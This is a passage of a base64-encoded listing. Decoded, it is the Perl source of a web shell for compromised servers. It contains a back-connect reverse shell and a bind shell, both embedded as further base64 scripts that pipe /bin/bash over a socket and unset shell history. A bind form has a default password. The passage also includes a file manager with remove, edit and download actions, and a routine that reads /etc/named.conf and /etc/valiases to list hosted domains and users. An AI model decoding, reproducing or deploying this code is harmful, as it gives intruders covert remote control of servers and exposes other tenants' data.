  1808. c3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9
  1809. IiRFTlZ7J1JFTU9URV9BRERSJ30iPgoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3
  1810. IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1l
  1811. bnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4KCgk8dGQ+PGlucHV0IG5h
  1812. bWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0i
  1813. Q29ubmVjdCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250
  1814. IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayEKCTxi
  1815. cj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJo
  1816. dHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwv
  1817. YT4KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1w
  1818. IDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFi
  1819. bGU+CgoJPGJyPjxicj4KCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9u
  1820. PSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIg
  1821. bmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoKCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9
  1822. InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0i
  1823. ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4KCgkg
  1824. UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZh
  1825. bHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+Cgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJt
  1826. aXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9y
  1827. bT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENo
  1828. dWMgbmFuZyBjaHVhIGRjIHRlc3QhCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7
  1829. J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3Rk
  1830. PgoKCTwvdHI+Cgk8L3RhYmxlPjxicj4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1831. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJh
  1832. Y2tjb25uZWN0IHVzZSBwZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1833. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kCnsK
  1834. CXVzZSBNSU1FOjpCYXNlNjQ7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpw
  1835. Ymk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhj
  1836. MmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlX
  1837. NWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3
  1838. Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JW
  1839. Ym1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJ
  1840. SE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtT
  1841. a2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4
  1842. dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5v
  1843. S0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVM
  1844. Q0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2Nt
  1845. bHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFw
  1846. emVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05v
  1847. YnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5X
  1848. eXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNu
  1849. azZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlr
  1850. N0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNE
  1851. UXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6
  1852. QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4
  1853. c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JU
  1854. VDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxk
  1855. SE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lI
  1856. QmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1R
  1857. b1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0ln
  1858. WkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBD
  1859. UWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpY
  1860. QjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0
  1861. b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxG
  1862. VGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRL
  1863. Q0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhT
  1864. QlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJW
  1865. eWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3
  1866. ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNi
  1867. M05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1Vp
  1868. azdEUXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQ
  1869. b3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDApCgl7CgkJ
  1870. cmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSRE
  1871. YXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZp
  1872. bGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnRE
  1873. aXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7
  1874. CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCBiYWNrY29u
  1875. bmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhp
  1876. dCAwOwoJfWVsc2UKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcg
  1877. Ii90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJ
  1878. JEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxF
  1879. LCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgi
  1880. cGVybCBiaW5kcG9ydC5wbCAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAw
  1881. OwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1882. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0t
  1883. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1884. LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKICAg
  1885. IGlmKG9wZW5kaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJ
  1886. CXsKCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmls
  1887. ZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURp
  1888. cigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0K
  1889. CQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQoJaWYoIXJtZGlyKCRkaXIpKQoJewoJCQoJfQp9
  1890. CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJ
  1891. CSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkKCQl7CgkJCXJl
  1892. dHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7CgkJCSRn
  1893. cm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7CgkJfQoJfQoJ
  1894. cmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsK
  1895. CW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAu
  1896. JENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmls
  1897. ZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAi
  1898. LSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR1
  1899. ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1cm4gJHVyIC4g
  1900. IiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRy
  1901. ZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVybiAkcmVzdWx0
  1902. OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkg
  1903. JGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5
  1904. XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSR5
  1905. ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsK
  1906. CQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1d
  1907. LCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmls
  1908. ZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJCXJldHVybiAt
  1909. cyAkZmlsZTsKCX0KCXJldHVybiAiMCI7Cgp9CnN1YiBQYXJzZUZpbGVTaXplKCQpCnsKCW15ICRz
  1910. aXplID0gc2hpZnQ7CglpZigkc2l6ZSA8PSAxMDI0KQoJewoJCXJldHVybiAkc2l6ZS4gIiBCIjsK
  1911. CX0KCWVsc2UKCXsKCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIAoJCXsKCQkJJHNpemUgPSBzcHJp
  1912. bnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgS0IiOwoJCX0KCQll
  1913. bHNlIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsK
  1914. CQkJcmV0dXJuICRzaXplLiIgTUIiOwoJCX0KCX0KfQpzdWIgdHJpbSgkKQp7CglteSAkc3RyaW5n
  1915. ID0gc2hpZnQ7Cgkkc3RyaW5nID1+IHMvXlxzKy8vOwoJJHN0cmluZyA9fiBzL1xzKyQvLzsKCXJl
  1916. dHVybiAkc3RyaW5nOwp9CnN1YiBBZGRTbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsK
  1917. CSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBMaXN0RGlyCnsK
  1918. CW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7CgkkcGF0aD1+IHMvXFxcXC9cXC9nOwoJ
  1919. bXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNw
  1920. YW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBb
  1921. ICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9
  1922. J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicg
  1923. bmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcg
  1924. dmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAo
  1925. KTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGls
  1926. ZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigt
  1927. ZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7
  1928. CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJ
  1929. fQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUg
  1930. PSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48
  1931. dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPgoKCQk8dHIgc3R5bGU9J2JhY2tncm91
  1932. bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6
  1933. MTAwcHg7Jz5GaWxlIFNpemU8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5Pd25lcjwv
  1934. dGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPgoJCTx0aCBzdHls
  1935. ZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjI2
  1936. MHB4Oyc+QWN0aW9uPC90aD48L3RyPiI7CgkJbXkgJHN0eWxlPSJsaW5lIjsKCQlteSAkaT0wOwoJ
  1937. CWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIp
  1938. ID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRkID0gJnRyaW0oJGQpOwoJCQkkZGlybmFtZT0kZDsK
  1939. CQkJaWYoJGQgZXEgIi4uIikgCgkJCXsKCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7CgkJ
  1940. CX0KCQkJZWxzaWYoJGQgZXEgIi4iKSAKCQkJewoJCQkJJGQgPSAkcGF0aDsKCQkJfQoJCQllbHNl
  1941. IAoJCQl7CgkJCQkkZCA9ICRwYXRoLiRkOwoJCQl9CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0n
  1942. JHN0eWxlJz4KCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsg
  1943. Zm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5h
  1944. bWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3Vs
  1945. dCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwv
  1946. dGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFs
  1947. aWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZG
  1948. aWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2Rf
  1949. Zm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48
  1950. L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZG
  1951. aWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3Rl
  1952. eHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNs
  1953. aWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hl
  1954. cygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1v
  1955. dmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0k
  1956. cGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwv
  1957. dHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxl
  1958. PSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJ
  1959. CSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJ
  1960. JHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2Zv
  1961. bnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0
  1962. JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4m
  1963. UGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQg
  1964. c3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkk
  1965. cmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVy
  1966. Oycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygk
  1967. ZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmls
  1968. ZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0
  1969. ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90
  1970. ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJl
  1971. Zj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPkVkaXQ8L2E+IHwg
  1972. PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0o
  1973. JGksJyRmaWxlJywnZicpXCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28m
  1974. Zj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3Zl
  1975. IGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRo
  1976. JnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPC90cj4iOwoJ
  1977. CQkkaSsrOwoJCX0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7Cgl9CglyZXR1cm4gJHJl
  1978. c3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1979. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyCiMt
  1980. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1981. LS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdEb21haW5Vc2VyCnsKCW9wZW4gKGRvbWFpbnMs
  1982. ICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7CglteSBAY256cyA9IDxkb21haW5zPjsKCWNs
  1983. b3NlIGQwbWFpbnM7CglteSAkc3R5bGU9ImxpbmUiOwoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0
  1984. eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9u
  1985. ZyBTYTwvZm9udD48L2g1PiI7CglpZiAoJGVycikKCXsKCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxk
  1986. blwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsKCQlyZXR1cm4gJHJlc3VsdDsKCX1lbHNlCgl7
  1987. CgkJJHJlc3VsdCAuPSAnPHRhYmxlPjx0cj48dGg+RG9tYWluczwvdGg+IDx0aD5Vc2VyPC90aD48
  1988. L3RyPic7Cgl9Cglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQoJewoJCWlmKCRvbmUgPX4gbS8uKj96
  1989. b25lICIoLio/KSIgey8pCgkJewkKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90
  1990. bGluZSI6ICJsaW5lIjsKCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7CgkJCSRv
  1991. d25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlc3VsdCAuPSAnPHRy
  1992. IGNsYXNzPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+Jy4kb25lLicgPC90ZD48dGQ+ICcuJG93bmVy
  1993. Lic8L3RkPjwvdHI+JzsKCQl9Cgl9CgkkcmVzdWx0IC49ICc8L3RhYmxlPic7CglyZXR1cm4gJHJl
  1994. c3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1995. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVmlldyBMb2cKIy0tLS0tLS0tLS0tLS0t
  1996. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
